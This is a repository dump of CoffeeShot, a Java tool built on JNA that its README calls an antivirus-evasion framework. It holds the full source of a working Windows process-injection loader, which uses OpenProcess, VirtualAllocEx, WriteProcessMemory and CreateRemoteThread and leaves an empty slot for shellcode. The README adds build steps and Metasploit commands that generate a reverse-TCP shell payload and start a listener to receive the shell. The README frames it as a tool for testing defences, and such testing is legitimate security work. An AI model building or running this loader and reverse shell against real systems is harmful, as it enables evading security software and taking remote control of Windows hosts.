├── bin ├── CoffeeShot.class └── CoffeeShot$IKernel32.class ├── .settings ├── org.eclipse.core.resources.prefs └── org.eclipse.jdt.core.prefs ├── README.md └── src └── CoffeeShot.java /bin/CoffeeShot.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinervaLabsResearch/CoffeeShot/HEAD/bin/CoffeeShot.class -------------------------------------------------------------------------------- /.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding//src/CoffeeShot.java=UTF-8 3 | -------------------------------------------------------------------------------- /bin/CoffeeShot$IKernel32.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MinervaLabsResearch/CoffeeShot/HEAD/bin/CoffeeShot$IKernel32.class -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.8 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.8 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![CoffeeShot](https://i.imgur.com/zH0Yvis.png) 2 | 3 | # :coffee: CoffeeShot: Avoid Detection with Memory Injection :syringe: 4 | [![Arsenal](https://github.com/toolswatch/badges/blob/master/arsenal/usa/2018.svg)](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/) 5 | 6 | CoffeeShot is an evasion framework that injects payload from Java-based programs into designated processes on Microsoft Windows. 7 | 8 | CoffeeShot assists blue team members in assessing the effectiveness of their anti-malware measures against malicious software written in Java. Red team members and pen testers can also use CoffeeShot to bypass the target’s security controls. 9 | 10 | CoffeShot utilizes JNA (Java Native Access) to inject payload from Java-based programs into designated processes on Microsoft Windows. 11 | 12 | The memory injection methods that CoffeeShot employs are straightforward and are well-known in the context of traditional, compiled executables. The effectiveness of these techniques at evading AV when they’re implemented in Java, highlights the brittle nature even by modern antivirus tools. 13 | 14 | ## Prerequisites: 15 | * Eclipse (or any other IDE that supports Java) 16 | * [Java Native Access](https://github.com/java-native-access/jna) 17 | * Kali Linux with Metasploit 18 | 19 | ## Getting Started 20 | 1. Clone the project. 21 | 2. Import to Eclipse. 22 | 3. Add JNA and JNA-Platform libraries. 23 | 4. Insert your generated shellcode inside CoffeeShot project. 24 | 5. Build the Project. 25 | 6. Export to a runnable JAR file. 26 | 27 | ## Setup 28 | ### Add JNA and JNA-Platform libraries 29 | - Start Eclipse 30 | - In the project explorer, right-click on CoffeeShot folder, and select "Properties" 31 | - Select "Java Build Path" on the left, and then the "Libraries" tab. Now, click the "Add External JARS..." button 32 | - Locate and select "jna-4.5.0.jar" and "jna-platform-4.5.0.jar" files you downloaded from the [JNA](https://github.com/java-native-access/jna) github, and then click "Open" 33 | - Finally, click "OK" to close the dialog box. You will know that everything went ok if, when you open your project folder, you see an item called "Referenced Libraries", and upon expanding this item, you see the packages "jna-4.5.0.jar" and "jna-platform-4.5.0.jar" listed. 34 | 35 | ## Build CoffeeShot with your shellCode 36 | ``` 37 | Copy our generated shellCode from Metasploit. 38 | Paste\Insert the shellCode inside the CoffeeShot project, e.g.: "byte[] shellcode = {(byte) 0xfc, (byte) 0xe8...};" 39 | Build the project 40 | Export to runnable JAR 41 | Execute CoffeeShot by: 42 | > Java -jar CoffeeShot.jar [processName] 43 | > processName example: notepad++.exe 44 | ``` 45 | 46 | ## Demo 47 | For demo purpose, we used Metasploit with shell reverse tcp 48 | 49 | ### Create a Java shellcode that is suitable for CoffeeShot 50 | ``` 51 | msfconsole 52 | use payload/windows/shell_reverse_tcp 53 | set LHOST x.x.x.x 54 | set LPORT xxxx 55 | generate -t java 56 | ``` 57 | 58 | ### Create C2 for our shellcode 59 | ``` 60 | msfconsole 61 | use exploit/multi/handler 62 | set PAYLOAD windows/shell_reverse_tcp 63 | set LHOST 64 | set LPORT 65 | set ExitOnSession false 66 | exploit -j 67 | sessions 68 | sessions -i 1 69 | ``` 70 | 71 | [![CoffeeShot Demo](https://i.imgur.com/nT0ZYl5.png)](https://youtu.be/MVwkjWB-Nx4) 72 | 73 | ## References 74 | [Minerva Labs Blog Post](https://blog.minerva-labs.com/coffeeshot-avoid-detection-with-memory-injection) 75 | 76 | ## Authors 77 | * **Asaf Aprozper (3pun0x)** - *Creator* - [Twitter](https://twitter.com/3pun0x) - [GitHub](https://github.com/3pun0x) 78 | 79 | ## License 80 | This project is licensed under the GPLv3 License - see the [LICENSE.md](https://www.gnu.org/licenses/gpl.html) file for details 81 | Copyright © 2018 Minerva Labs CoffeeShot. All rights reserved. 82 | 83 | This program is free software: you can redistribute it and/or modify 84 | it under the terms of the GNU General Public License as published by 85 | the Free Software Foundation, either version 3 of the License, or 86 | at your option) any later version. 87 | 88 | This program is distributed in the hope that it will be useful, 89 | but WITHOUT ANY WARRANTY; without even the implied warranty of 90 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 91 | GNU General Public License for more details. 92 | -------------------------------------------------------------------------------- /src/CoffeeShot.java: -------------------------------------------------------------------------------- 1 | import com.sun.jna.Native; 2 | import com.sun.jna.win32.W32APIOptions; 3 | import com.sun.jna.platform.win32.Kernel32; 4 | import com.sun.jna.platform.win32.WinDef.DWORD; 5 | import com.sun.jna.platform.win32.Tlhelp32; 6 | import com.sun.jna.platform.win32.WinNT; 7 | // Imports for MyKernel32 8 | import com.sun.jna.win32.StdCallLibrary; 9 | import com.sun.jna.ptr.IntByReference; 10 | import com.sun.jna.Pointer; 11 | import com.sun.jna.Memory; 12 | 13 | 14 | public class CoffeeShot 15 | { 16 | static Kernel32 kernel32 = (Kernel32)Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); 17 | static IKernel32 iKernel32 = (IKernel32)Native.loadLibrary("kernel32", IKernel32.class); 18 | static String usage = "Usage: Java -jar CoffeeShot.jar [processName]" + System.getProperty("line.separator") + "processName example: notepad++.exe"; 19 | 20 | // Pointer to the API's 21 | interface IKernel32 extends StdCallLibrary 22 | { 23 | boolean WriteProcessMemory(Pointer p, int address, Memory bufferToWrite, int size, IntByReference written); 24 | boolean ReadProcessMemory(Pointer hProcess, int inBaseAddress, Pointer outputBuffer, int nSize, IntByReference outNumberOfBytesRead); 25 | int VirtualQueryEx(Pointer hProcess, Pointer lpMinimumApplicationAddress, Pointer lpBuffer, int dwLength); 26 | Pointer OpenProcess(int desired, boolean inherit, int pid); 27 | int VirtualAllocEx(Pointer hProcess, Pointer lpAddress, int i, 28 | int flAllocationType, int flProtect); 29 | void CreateRemoteThread(Pointer hOpenedProcess, Object object, int i, int baseAddress, int j, int k, 30 | Object object2); 31 | } 32 | 33 | public static void main(String[] args) 34 | { 35 | System.out.println(" _\r\n" + 36 | " | |\r\n" + 37 | " |J|________|______________________|_\r\n" + 38 | " |A| | 0| 1| 0| 1| 0| 1| 0| | |________________\r\n" + 39 | " |V|________|______________________|_|\r\n" + 40 | " |A| | CoffeeShot |\r\n" + 41 | " |_|\r\n" + 42 | " \r\n" + 43 | " https://github.com/MinervaLabsResearch/CoffeeShot" 44 | + "\r\n"); 45 | 46 | 47 | // Process name to inject 48 | String processName = ""; 49 | if(args.length < 1) 50 | { 51 | System.err.println(usage); 52 | System.exit(1); 53 | } 54 | try { 55 | processName = args[0]; 56 | } 57 | catch(NumberFormatException e) 58 | { 59 | System.err.println(usage); 60 | System.exit(1); 61 | } 62 | 63 | // Insert shell code here 64 | byte[] shellcode = { 65 | 66 | }; 67 | 68 | 69 | int shellcodeSize = shellcode.length; 70 | 71 | // Finding process 72 | long processId = findProcessID(processName); 73 | if(processId == 0L) 74 | { 75 | System.err.println("The searched process was not found : " + processName); 76 | System.exit(1); 77 | } 78 | System.out.println(processName + " Process id: " + processId); 79 | 80 | 81 | // Open process 82 | Pointer hOpenedProcess = iKernel32.OpenProcess(0x0010 + 0x0020 + 0x0008 + 0x0400 + 0x0002, true, (int)processId); 83 | 84 | // Check if the desired process is 32bit 85 | if(checkIfProcessIsWow64(hOpenedProcess)) 86 | { 87 | System.err.println("The target process is 64bit which currently not supported"); 88 | System.exit(0); 89 | } 90 | 91 | // Generate Buffer to write 92 | IntByReference bytesWritten = new IntByReference(0); 93 | Memory bufferToWrite = new Memory(shellcodeSize); 94 | 95 | for(int i = 0; i < shellcodeSize; i++) 96 | { 97 | bufferToWrite.setByte(i, shellcode[i]); 98 | } 99 | 100 | // Allocate memory 101 | int baseAddress = iKernel32.VirtualAllocEx(hOpenedProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); 102 | System.out.println("Allocated Memory: " + Integer.toHexString(baseAddress)); 103 | 104 | // Write Buffer to memory 105 | iKernel32.WriteProcessMemory(hOpenedProcess, baseAddress, bufferToWrite, shellcodeSize, bytesWritten); 106 | System.out.println("Wrote " + bytesWritten.getValue() + " bytes."); 107 | 108 | // Create Thread in the victim process 109 | iKernel32.CreateRemoteThread(hOpenedProcess, null, 0, baseAddress, 0, 0, null); 110 | } 111 | 112 | 113 | /* 114 | * Search for the desired process 115 | * @param the process name we wish to inject 116 | * @return the handle of the desired process 117 | */ 118 | static long findProcessID(String processName) 119 | { 120 | Tlhelp32.PROCESSENTRY32.ByReference processInfo = new Tlhelp32.PROCESSENTRY32.ByReference(); 121 | WinNT.HANDLE processSnapshotHandle = kernel32.CreateToolhelp32Snapshot(Tlhelp32.TH32CS_SNAPPROCESS, new DWORD(0L)); 122 | 123 | try{ 124 | // Check is this is the process we wish to inject 125 | kernel32.Process32First(processSnapshotHandle, processInfo); 126 | 127 | if(processName.equals(Native.toString(processInfo.szExeFile))) 128 | { 129 | return processInfo.th32ProcessID.longValue(); 130 | } 131 | 132 | 133 | while(kernel32.Process32Next(processSnapshotHandle, processInfo)) 134 | { 135 | if(processName.equals(Native.toString(processInfo.szExeFile))) 136 | { 137 | return processInfo.th32ProcessID.longValue(); 138 | } 139 | } 140 | 141 | return 0L; 142 | 143 | } 144 | finally 145 | { 146 | kernel32.CloseHandle(processSnapshotHandle); 147 | } 148 | } 149 | 150 | 151 | /* 152 | * Checks for the process architecture 153 | * @param handle to the opened process 154 | * @return if the process architecture is 64bit 155 | */ 156 | private static boolean checkIfProcessIsWow64(Pointer hOpenedProcess){ 157 | IntByReference ref = new IntByReference(); 158 | WinNT.HANDLE handleToProcess = new WinNT.HANDLE(hOpenedProcess); 159 | 160 | if (!kernel32.IsWow64Process(handleToProcess, ref)){ 161 | System.err.println("Couldn't open handle to the desired process!"); 162 | System.exit(1); 163 | } 164 | 165 | return ref.getValue() == 0; 166 | } 167 | } --------------------------------------------------------------------------------